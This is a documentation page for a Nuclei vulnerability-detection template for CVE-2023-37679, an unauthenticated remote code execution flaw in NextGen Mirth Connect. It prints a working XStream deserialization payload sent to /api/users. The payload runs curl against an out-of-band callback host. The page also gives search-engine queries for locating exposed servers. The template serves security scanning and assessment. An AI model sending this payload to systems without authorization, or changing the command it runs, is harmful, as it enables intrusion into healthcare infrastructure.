Skip to content
Nuclei Templates

NextGen Mirth Connect - Remote Code Execution

ID: CVE-2023-37679

Severity: critical

Author: iamnoooob,rootxharsh,pdresearch

Tags: packetstorm,cve2023,cve,nextgen,rce

Description

Section titled “Description”

Mirth Connect, by NextGen HealthCare, is an open source data integration platform widely used by healthcare companies. Versions prior to 4.4.1 are vulnerable to an unauthenticated remote code execution vulnerability

YAML Source

Section titled “YAML Source”
id: CVE-2023-37679


info:
  name: NextGen Mirth Connect - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Mirth Connect, by NextGen HealthCare, is an open source data integration platform widely used by healthcare companies. Versions prior to 4.4.1 are vulnerable to an unauthenticated remote code execution vulnerability
  reference:
    - https://www.horizon3.ai/nextgen-mirth-connect-remote-code-execution-vulnerability-cve-2023-43208/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-37679
    - http://mirth.com
    - http://nextgen.com
    - http://packetstormsecurity.com/files/176920/Mirth-Connect-4.4.0-Remote-Command-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-37679
    cwe-id: CWE-77
    epss-score: 0.07052
    epss-percentile: 0.9396
    cpe: cpe:2.3:a:nextgen:mirth_connect:4.3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: nextgen
    product: mirth_connect
    shodan-query:
      - title:"mirth connect administrator"
      - http.title:"mirth connect administrator"
    fofa-query: title="mirth connect administrator"
    google-query: intitle:"mirth connect administrator"
  tags: packetstorm,cve2023,cve,nextgen,rce


http:
  - raw:
      - |
        GET /api/server/version HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: OpenAPI
      - |
        POST /api/users HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: OpenAPI
        Content-Type: application/xml


        <sorted-set>
            <string>foo</string>
            <dynamic-proxy>
                <interface>java.lang.Comparable</interface>
                <handler class="java.beans.EventHandler">
                    <target class="java.lang.ProcessBuilder">
                        <command>
                            <string>curl</string>
                            <string>http://{{interactsh-url}}/</string>
                        </command>
                    </target>
                    <action>start</action>
                </handler>
            </dynamic-proxy>
        </sorted-set>


    matchers:
      - type: dsl
        dsl:
          - 'compare_versions(version, "<4.4.1")'
          - 'contains(interactsh_protocol, "dns")'
          - 'status_code_1 == 200 && status_code_2 == 500'
        condition: and


    extractors:
      - type: regex
        part: body_1
        name: version
        group: 1
        regex:
          - '(.*)'
        internal: true
# digest: 490a0046304402205b2b13c3abb831b6ad3c5e23e6234f65788b093e2d4678b297eb4b17c21eb149022008def5968e4dff4df58f8092a44672c1857a99b9ef6b10d532a024870dfd7607:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-37679.yaml"

View on Github